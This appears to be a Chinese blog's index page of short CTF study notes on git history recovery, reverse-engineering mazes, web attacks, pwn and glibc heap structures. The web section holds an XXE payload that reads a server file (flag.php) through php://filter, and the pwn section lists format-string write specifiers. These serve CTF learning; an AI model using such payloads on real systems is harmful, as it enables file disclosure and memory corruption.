CTF Misc 的笔记

一点点曾经整理的Misc笔记,数量较少。

1. git

  1. 查找所有 commit - 参考链接

    1
    2
    3
    4
    # 查看所有commit,包括已撤回的提交
    git log --reflog
    # 重置commit头
    git reset --hard [commit-Hash]
  2. 查看 git 提交的文件内容 - git 对象库

    1
    2
    3
    4
    5
    6
    7
    8
    # 查看所有提交log(包括已撤回的提交)
    git log --pretty=raw
    # 查看某个Hash值对应的类型
    git cat-file -t [Hash]
    # 查看某个Hash值对应的内容
    git cat-file -p [tree/file-Hash]
    # 查看树的内容
    git ls-tree [-r是否递归][-t输出更完整的信息(包括子树)] [commit/tree-hash]
阅读更多...

CTF Reverse 的笔记

  • 笔者会把一些曾经遇到过的Reverse知识点记录在这里。
  • 但笔者并非主攻二进制逆向,故逆向笔记会相对较少。

1. 迷宫问题(maze)

迷宫问题有以下特点:

  • 在内存中布置一张 “地图”,这个地图可能是字符(例如#之类的),也可能是一些数字的二进制
  • 将用户输入限制在少数几个字符范围内.
  • 一般只有一个迷宫入口和一个迷宫出口

详情CTF-Wiki

阅读更多...

CTF Web 的笔记

一点点曾经整理的Web笔记,篇幅会相对较小一点。

1. XXE 攻击 (XML)

  1. 示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php"> ]>
    <user>
    <username>
    &xxe;
    </username>
    <password>
    </password>
    </user>

2. SSRF

函数的注意点

1. cURL

2. file_get_contents

  • gopher 协议无法URLencode
  • 关于gopher的302跳转有bug,导致利用失败
阅读更多...

CTF Pwn 的杂项笔记

这里是笔者记录的一些内容较少、不便于整理出一篇博客的Pwn杂项知识点。

1. docker 使用 - 使用手册

2. 漏洞

  1. 格式化字符串

    1
    2
    3
    4
    // %lln 四字 / %ln 双字 / %hn 单字 / %hhn 字节
    printf("%(n-1)$[format]"); // -> 第n个参数
    printf("%{n-1}$n"); // -> 将输出的字符个数写入第n个参数
    printf("%nc"); // -> 输出对应参数n个字符
阅读更多...

heap - 3 - bins分类

存放free chunks的链表 ——— bins !

1. bin链的介绍

  • bin链是由struct chunk组成的链表
  • 不同的chunk根据不同的特点将它们区分开,为了便于分开管理,glibc引入了bin链这个概念
  • bin链上的chunk都是free chunk
  • bin链都是由当前线程的arena管理的

2. bin链的分类

  1. Fast bin
  2. Small bin
  3. Unsorted bin
  4. Large bin
阅读更多...

heap - 2 - chunk的分类

堆块最小分配的单位 —— malloc_chunk !

1. chunk的结构体

1
2
3
4
5
6
7
8
9
10
11
12
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
阅读更多...
  • Copyrights © 2020-2022 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~